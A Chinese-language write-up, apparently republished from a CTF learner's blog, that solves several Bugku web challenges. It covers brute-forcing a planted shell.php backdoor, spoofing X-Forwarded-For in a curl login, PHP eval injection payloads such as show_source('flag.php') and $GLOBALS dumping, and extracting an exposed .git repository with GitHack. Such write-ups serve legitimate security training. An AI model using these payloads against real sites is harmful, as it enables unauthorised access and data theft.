Bugku解题 web (二)

导读:本篇文章讲解 Bugku解题 web (二),希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录解题过程

12.web11

描  述: 网站被黑了 黑客会不会留下后门

  1. 先用御剑进行扫描,可以获得网站后台 http://114.67.246.176:14175/shell.php,

  2. 然后利用Burpsuite暴力破解。

密码是:hack
flag{219622b0bf43fe45a8cfa2bca9650de7}

13.web12

描  述: 本地管理员
在这里插入图片描述

  1. 改成本地
X-Forwarded-For:127.0.0.1
  1. 密码不用爆破,题目源码中有一段注释,看起来是base64编码,只要解码一下就是密码
    在这里插入图片描述
    在这里插入图片描述
test123
  1. 本地管理员什么就用admin,root…去试
curl -d 'user=admin&pass=test12Mw' -H 'X-Forwarded-For: 127.0.0.1'  "http://114.67.246.176:16988/"

在这里插入图片描述

13. web8

描  述: 文件包含

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>
php var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.
  1. show_source()
/?hello=show_source(%27flag.php%27)

在这里插入图片描述

14.web9

描  述: 题目已修复

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
preg_match 函数用于执行一个正则表达式匹配。
超级全局变量
PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。在函数或方法中无需执行 global $variable; 就可以访问它们。

$GLOBALS 所有全局变量数组
$_SERVER 服务器环境变量数组
$_GET 通过GET方法传递给该脚本的变量数组
$_POST 通过POST方法传递给该脚本的变量数组
$_COOKIE cookie变量数组
$_FILES 与文件上载相关的变量数组
$_ENV 环境变量数组
$_REQUEST 所有用户输入的变量数组
$_SESSION 会话变量数组

PHP变量作用域,全局变量和局部变量,global和GLOBALS

  1. php 环境变量GLOBALS
/?args=GLOBALS

在这里插入图片描述

15.web10

描  述: 头等舱

  1. 在响应头中得到flag
    在这里插入图片描述

16.社工-伪造

社工菜狗的学习日志之bugku社工-伪造
在这里插入图片描述

17.web40

描述: 我哥说渗透我只用linux环境

  1. 假flag
<html>
<head>
<body>
<p>Hello,world!<p>
<p>This is my friend :<!--tig--></p>
<!--flag{Zmxhz19ub3RfaGvyzSEHIQ==}-->
</body>
</head>
</html>
  • 一看Linux系统 先用dirb 扫描,发现存在.git目录
  1. 扫描发现存在.git目录
    在这里插入图片描述

  2. 用githack下载

python2 GitHack.py http://114.67.246.176:18015/.git/
......
[+] Clone Success. Dist File : F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\114.67.246.176_18015
  1. cd 得到的文件夹,git reflog (查看执行的命令日志)
F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\114.67.246.176_18015>git reflog
d256328 (HEAD -> master) HEAD@{0}: reset: moving to HEAD
d256328 (HEAD -> master) HEAD@{1}: reset: moving to d25632
e0b8e8e HEAD@{4}: reset: moving to e0b8e
d256328 (HEAD -> master) HEAD@{7}: commit: flag is here?
e0b8e8e HEAD@{8}: commit (initial): this is index.html
  1. git show commit_id (查看某次commit的内容) 成功得到flag

  1. 版本都回退一遍 git reset –hard 版本号
在这里插入代码片

然后执行 git checkout – flag.txt 将暂存区的 flag.txt 还原到工作区

git reset 13ce8d0     //回退到该版本的版本库 多试几个commit id
git status 
git checkout -- flag.txt
//将暂存区的 flag.txt 还原到工作区

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92698.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!